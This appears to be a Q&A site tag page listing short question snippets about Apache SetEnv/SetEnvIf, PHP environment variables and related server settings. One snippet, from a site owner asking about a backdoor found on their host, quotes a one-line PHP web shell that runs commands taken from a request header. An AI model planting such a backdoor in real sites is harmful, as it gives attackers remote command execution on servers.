Questions tagged [setenv]
The setenv tag has no usage guidance.
33
questions
0
votes
1
answer
111
views
Apache config SetEnv variable only if not set
I have a fairly high traffic web server and would like to squeeze some micro optimization out of it.
In Apache's config I have:
SetEnvIfNoCase Request_URI "\.a?png$" dontlog
SetEnvIfNoCase ...
1
vote
1
answer
3k
views
Why environment variable set by SetEnv in apache httpd.conf cannot be passed to php?
I set an environment variable in httpd.conf:
SetEnv http_proxy "http://localhost:3128"
But I cannot get this variable in php using getenv:
<?php
echo getenv("http_proxy");
...
0
votes
2
answers
5k
views
Apache .htaccess set a header if Request URI does not exactly match a desired value
Goal: using a .htaccess file in /directory/, if request URI does NOT exactly match "/directory/" then set a header. For example, the header SHOULD be set if the request URI is "/...
1
vote
1
answer
547
views
PHP + mod_fastcgi + suexec can't read vars set via SetEnv in .htaccess
We have PHP running via mod_fastcgi + suexec and it seems that PHP processes run this way don't see environment variables set via SetEnv in a .htaccess file. I checked via a perl script and a shell ...
1
vote
1
answer
4k
views
APACHE SetEnv directive (from .htaccess) not send to CGI process
I don't understand Apache2 mecanism in this scenario :
1/ In this location : var/www/cgi-bin/ (user's group rights : www-data)
i've a CGI script (php-cgi) who will execute PHP app + VAR environement ...
0
votes
1
answer
466
views
apache2: disable keep-alive when header match
I want that Apache disable keep-alive for http 1.1 when a specific host header is set. But I cant figure out how it is be done, because there are really less examples on the Net to SetEnvIfExpr. What ...
1
vote
1
answer
2k
views
How can I stop Apache2 from log certain warning messages?
On my Apache ErrorLog file I see many times this warning message:
[Wed Aug 23 17:27:25.146025 2017] [:error] [pid 14989] [client 66.249.76.54:44935] PHP Warning: Illegal offset type in isset or ...
0
votes
2
answers
1k
views
Combining attributes of SetEnvIF in Apache 2.4
I would like to combine the following SetEnvIF configuration into single line. Is it possible to do so?
SetEnvIF X-Forwarded-For ^(91\.148\.158\.226|77\.70\.95\.131) TRUSTED_IPS
SetEnvIf X-Real-IP ^(...
0
votes
1
answer
4k
views
Nginx SetEnvIf Host
Previous server was running on Apache but now i have switched to Nginx.
It's all working great except i don't know how to convert this Apache line in to my working nginx config
SetEnvIf Host "^([^\.]...
0
votes
1
answer
1k
views
How use setEnv with another Env?
My question is how can I use setEnv with an already defined environment variable.
For example:
"/etc/apache2/envvars"
...
export SSL_ROOT_DIR=/etc/letsencrypt/live
export DEFAULT_HOME_DIR=/var/www/...
1
vote
1
answer
2k
views
Apache's SetEnvIf to another variable in .htaccess
Is it possible using SetEnvIf to set a variable to the content of another variable? and if so, how?
For example
SetEnvIf defined_htaccess_var ^(.*)$ has_been_defined=%{defined_htaccess_var}
So the ...
1
vote
0
answers
1k
views
environment variables set with SetEnv not passed to PHP
I'm setting some environment variables to get from the PHP $_SERVER global variable, but it does not work. The variables are not in $_SERVER and neither in the phpinfo() output. I have all modules ...
3
votes
1
answer
2k
views
Blocking all users without referrer BUT allowing Googlebot/bingbot at the same time (with .htaccess)
Because of some amateur-made DDOS attack on my website, I had to deny some traffic with .htaccess which worked fine.
Unfortunately, it also blocks the googlebot/bingbot:
order allow, deny
deny from ...
2
votes
1
answer
4k
views
php htaccess environment variables php-fpm mod_proxy_fcgi apache 2.4
My .htaccess:
SetEnv tvar "my value"
RewriteEngine on
RewriteRule .* - [E=boostpath:normal]
My virtual host settings:
AllowOverride All
Options FollowSymLinks
Require all granted
...
0
votes
1
answer
359
views
apache 2.2 and http auth. by country with mod_geoip
I'm using mod_geoip for filtr some traffic. So now I have e.g. this
SetEnvIf GEOIP_COUNTRY_CODE FR AllowCountry
<Locationmatch "/secure-by-country">
Deny from all
Allow from env=AllowCountry
&...
1
vote
1
answer
3k
views
Dynamic variable SetEnv vhost Ubuntu Apache2
I apologize if this question has already been asked.
I am looking for a solution to make SetEnv use the %2 variable.
Is that even possible?
My vhost:
<VirtualHost *:80>
ServerName ...
0
votes
2
answers
9k
views
Using setenv in Apache (Windows) DocumentRoot [duplicate]
Stack trying to migrate a configuration from Linux to Windows Apache 2.2 (via WAMP)
We are trying to set an ENV Apache variable to be used as DocumentRoot and rest of directives thereafter so we can ...
4
votes
2
answers
505
views
OSX Server - How to set environment variable on network user login
I have a group of users on my server, "Developers", and I would like an environment variable to be set for them whenever they login.
More specifically, when anyone in this group logs in, I would ...
0
votes
1
answer
387
views
Solaris 10: OpenBoot setenv set-defaults
I was trying to change the default mountpoint for /usr in /etc/vfstab. I am running Solaris 10 on a Sun Fire 480R.
Unfortunately, I made an error with editing the /etc/vfstab so I could no longer ...
0
votes
1
answer
2k
views
Changes in SetEnv directives not seen in scriptalias
I need to read an environment variable in a ScriptAlias script.
So I have SetEnv directives to set these variables, in the following apache configuration.
<VirtualHost *:80>
ServerName ...
...
2
votes
1
answer
572
views
How come value set by SetEnv can be changed by modifying headers in browser
I'm working with an Apache server setup where we want to use SetEnv in the vhost to define if the code is running in development, beta or production. The actual web application is running on ...
0
votes
1
answer
1k
views
Apache - test is SetEnv variable being loaded
Is there any way I can actually tell if a SetEnv variable is being loaded by Apache?
I am trying to set:
SetEnv proxy-sendchunked 1
However have no way in telling if it is actually being set. Is ...
2
votes
3
answers
5k
views
Using Apache Environment Variables to set custom ErrorDocument
I've got a set of RewriteCond rules that test for various mobile devices and then set environment variables like "env=device:.iphone" or "env=device:.smartphone" if the useragent matches an iPhone or ...
4
votes
2
answers
5k
views
Blocking by user-agent string in httpd.conf not effective
I'd like to block some spiders and bad bots by user-agent text string for all of my virtual hosts via httpd.conf but have yet to find success. Below are the contents of my http.conf file. Any ideas ...
1
vote
1
answer
353
views
PHP Backdoor code [closed]
I've found a php backdoor on my host.
<? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?>
I see requests in access log to that php file were POST requests, but I don't know
how the SETENV of that ...
1
vote
1
answer
4k
views
How can I use SetEnv with mod_fcgid to pass virtualhost specific options to my PHP application? (apache2)
I'm running into some trouble figuring out how I should handle something under FastCGI that worked pretty easily under mod_php. Before I was using SetEnv to pass options from my VirtualHost directive ...
3
votes
2
answers
5k
views
How do you use SetEnv to read variables in Apache?
I want to set an env variable that has the DOC_ROOT info but nothing
SetEnv PROJECT_BASE %{ENV:DOC_ROOT}
SetEnv LAYOUT_HOME %{ENV:PROJECT_BASE}"/html/app/wordpress/"
and then be able to access ...
4
votes
1
answer
4k
views
How to remove response header in lighttpd configuration
There is mod_setenv for adding:
setenv.add-response-header = ( "Header" => "value" )
But I can't find anything to remove response headers.
I have to be sure, that my content is not cached by ...
-2
votes
2
answers
2k
views
setting apache environment variable
My hosting environment using Server version: Apache/2.2.14 (Unix) and I am modifying ./usr/local/apache/conf/httpd.conf to set environment variable and restarting the server .
SetEnv XML-RPC-IPs 193....
2
votes
2
answers
3k
views
Apache2 - setting PERL5LIB via SetEnv under CGI
my setup is as follows: I have one Apache2 webserver running different vhosts, one vhost is for the production website, the other vhost is for a staging / preview system. Both vhosts have different ...
1
vote
3
answers
2k
views
Apache 2: Is Referer from current Host
I have an Apache 2 with mod_setenvif. My goal is to stop all hotlinking of images in my global apache.conf. Currently that's:
<FilesMatch ".(gif|jpg|jpeg|png)$">
SetEnvIfNoCase Referer "^...
0
votes
1
answer
2k
views
SetEnvIf problem on htaccess
I'm trying to get this running,
SetEnvIf Host ^dev\. HOST_DEVELOPMENT
SetEnvIf Host ^www\. HOST_PRODUCTION
<IfDefine HOST_DEVELOPMENT>
# e.g. php_flag display_errors on
</IfDefine>...
4
votes
4
answers
53k
views
Setting CATALINA_OPTS for tomcat6 on windows doesn’t work
(I've copied this from Stack Overflow here, after someone suggested I post the question here)
I'm trying to setup Tomcat6 to work with JMX on Windows Vista 64.
To do that I need to pass the ...